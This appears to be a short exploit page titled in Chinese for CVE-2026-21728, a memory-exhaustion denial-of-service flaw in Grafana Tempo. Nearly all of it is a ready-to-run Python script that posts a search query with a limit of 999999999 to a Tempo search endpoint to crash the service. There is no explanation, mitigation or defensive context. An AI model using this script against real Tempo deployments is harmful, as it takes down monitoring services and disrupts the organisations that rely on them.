CVE-2026-21728 Grafana Tempo内存耗尽拒绝服务漏洞

import requests # Target URL for Grafana Tempo Search API target_url = "http://target-tempo-instance:3100/api/search" # Malicious payload with an extremely large limit to trigger memory exhaustion # The limit is set to a very high number to force large memory allocation payload = { "limit": 999999999, "query": "{service=\"test\"}" } try: print(f"[+] Sending DoS request to {target_url}...") # Send the POST request with the malicious payload response = requests.post(target_url, json=payload, timeout=10) print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed or service crashed: {e}") except Exception as e: print(f"[!] An error occurred: {e}")